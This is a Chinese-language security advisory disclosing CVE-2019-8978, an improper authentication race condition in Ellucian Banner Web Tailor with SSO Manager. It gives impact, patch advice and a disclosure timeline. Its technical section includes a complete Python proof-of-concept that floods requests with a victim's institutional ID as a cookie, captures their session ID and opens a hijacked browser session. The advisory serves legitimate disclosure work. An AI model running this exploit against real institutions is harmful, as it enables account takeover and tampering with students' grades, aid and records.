作者:Katie Mulliken [email protected]
致谢:卡内基梅隆大学 CERT 协调中心
执行摘要
产品
影响与建议
a. 影响
b. 建议
技术细节
a. 技术描述
b. 利用代码
披露时间线
参考资料
在 Banner Web Tailor 和 Banner Enterprise Identity Services 中发现了一个身份验证不当漏洞(CWE-287)。当 SSO Manager 被用作 Web Tailor 的认证机制时,会产生此漏洞,这可能导致受影响用户的信息泄露和数据完整性丧失。厂商已确认此漏洞并发布了补丁,现已可用。更多信息请参阅 Ellucian Communities 上的帖子:[截止日期前未提供链接] 和 Banner Enterprise Identity Services:[截止日期前未提供链接]。更新:这是 IAM 部分的链接:https://ecommunities.ellucian.com/message/252749#252749 这是发布在 Banner General & Banner Technical Community 空间中的 Banner Web Tailor 和 SSO Manager 漏洞通告链接 - https://ecommunities.ellucian.com/message/252810#252810[1]
Banner Web Tailor 是一款面向高等教育机构的 Web 工具,提供注册、课程管理、咨询、行政管理和报告功能。学生可以访问和更改其注册、毕业和助学金信息。教授和教师可以输入最终成绩并管理其课程。管理员可以访问和更改学生与教师信息。已有数百家机构在使用它,其中许多机构选择使用 Single Sign-on Manager,以便参与基于 CAS 和 SAML 的单点登录服务。[2]
用户的唯一标识符 UDCID 会通过 cookie 泄露,如果该标识符被截获或以其他方式获知,则可能导致账户被攻破;在测试的案例中,UDCID 已知为印在 ID 卡上的机构 ID。UDCID 可被用来利用一个竞态条件,从而使攻击者获得未经授权的访问权限。对于学生,攻击者可以将其从课程中删除、拒绝其助学金、更改其个人信息等。对于教授,这可能导致其无法管理课程、使恶意学生输入虚假的最终成绩等。对于管理员,攻击者可以更改用户信息、在学生账户上设置虚假的冻结(hold)等。
受影响组织应更新到最新版本。更多信息请参阅 Ellucian Communities 上的帖子:[截止日期前未提供链接] 和 Banner Enterprise Identity Services:[截止日期前未提供链接] 更新:这是 IAM 部分的链接:https://ecommunities.ellucian.com/message/252749#252749 这是发布在 Banner General & Banner Technical Community 空间中的 Banner Web Tailor 和 SSO Manager 漏洞通告链接 - https://ecommunities.ellucian.com/message/252810#252810。请利用 Ellucian Communities 或通过 ActionLine 联系 Ellucian 以获取更多信息。本披露的更新将在 GitHub 上提供:https://github.com/JoshuaMulliken/CVE-2019-8978
此身份验证不当漏洞可通过 Ellucian Banner Web Tailor 与 SSO Manager 配合使用时出现的竞态条件加以利用。该漏洞允许远程攻击者通过反复请求 Banner Web Tailor 初始主页并将 IDMSESSID cookie 设置为受害者的 UDCID(在测试案例中即机构 ID)来窃取受害者的会话(并造成拒绝服务)。在受害者尝试登录期间,攻击者可以利用该竞态条件,从而获得本应发给该受害者的 SESSID。有关更多详细信息,请参阅下方 GitHub 链接中的概念验证代码。
""" exploit.py
This code is designed for Python 3 and requires the packages selenium and requests_threads. It does 50 simultaneous requests per batch and repeats. More or less may be required depending on your connection latency.
"""
import re, time, sys, select, os
from selenium import webdriver
from requests_threads import AsyncSession
requests_per_batch = 50
target_host = input("Please provide the target url (This is from the Web Tailor page post login): ")
target_id = input("Please provide the ID, which in the case tested is the institutional ID: ")
cookies = {
'IDMSESSID': target_id,
}
session = AsyncSession(n=requests_per_batch)
async def _main():
final_sessid = ""
os.system('cls' if os.name == 'nt' else 'clear')
print("To quit press Enter")
while True:
rs = []
for _ in range(requests_per_batch):
rs.append(await session.get(target_host, cookies=cookies))
for response in rs:
for c in response.cookies:
if (c.name == 'SESSID'):
print(c.name, c.value)
final_sessid = c.value
if sys.stdin in select.select([sys.stdin], [], [], 0)[0]:
line = input()
break
print("Last SESSID:", final_sessid)
open_browser = input("Open a browser with this SESSID(y/n): ")
if open_browser == "y":
"""
This feature requires a chromedriver for your operating system version.
It can be found at https://sites.google.com/a/chromium.org/chromedriver/
Place it in the working directory of the exploit.py
"""
browser = webdriver.Chrome(executable_path=os.path.join(os.getcwd(),"chromedriver"))
browser.get(target_host)
browser.add_cookie({
"domain": target_host.split("/")[2],
"name": "SESSID",
"value": final_sessid,
})
browser.get(target_host)
stay_open = input("Press enter to close")
session.run(_main)
2018 年 12 月 18 日:尝试通过 Ellucian 的营销网页表单报告,并发送至 [email protected]
2018 年 12 月 20 日:向卡内基梅隆大学的 CERT 协调中心提交报告
2019 年 1 月 2 日:向通过 LinkedIn 找到的 Ellucian CISO 提交报告
2019 年 1 月 2 日:向南卡罗来纳大学询问负责任披露程序的相关信息
2019 年 1 月 3 日:Ellucian 告知应通过 ActionLine 报告
2019 年 1 月 4 日:南卡罗来纳大学告知没有报告漏洞的程序
2019 年 1 月 4 日:告知南卡罗来纳大学我在 Banner 中发现了一个漏洞
2019 年 2 月 18 日:CERT 告知我无法联系到厂商,并建议我公开披露
2019 年 2 月 25 日:将公告草稿发送给 Ellucian,并将披露日期定为 3 月 4 日。
2019 年 2 月 28 日:通过 Zoom 会议为 Ellucian 演示了该漏洞
2019 年 3 月 1 日:南卡罗来纳大学要求我推迟发布
2019 年 3 月 21 日:南卡罗来纳大学收到了 Ellucian 提供的向后移植补丁
2019 年 3 月 26 日:Ellucian 完成了所有版本的补丁
2019 年 3 月 29 日:Ellucian 告知南卡罗来纳大学将于 4 月 1 日进行变更
2019 年 4 月 1 日:向南卡罗来纳大学询问补丁状态信息
2019 年 4 月 5 日:南卡罗来纳大学给出的预计完成时间为 2019 年 4 月 30 日
2019 年 4 月 30 日:南卡罗来纳大学将预计完成时间更新为 5 月中旬
2019 年 5 月 7 日:将披露发布日期定为 5 月 13 日
2019 年 5 月 10 日:南卡罗来纳大学发布了计划于 5 月 11 日进行的所有 Banner 服务停机通知
2019 年 5 月 11 日:南卡罗来纳大学成功安装了补丁
2019 年 5 月 13 日:披露发布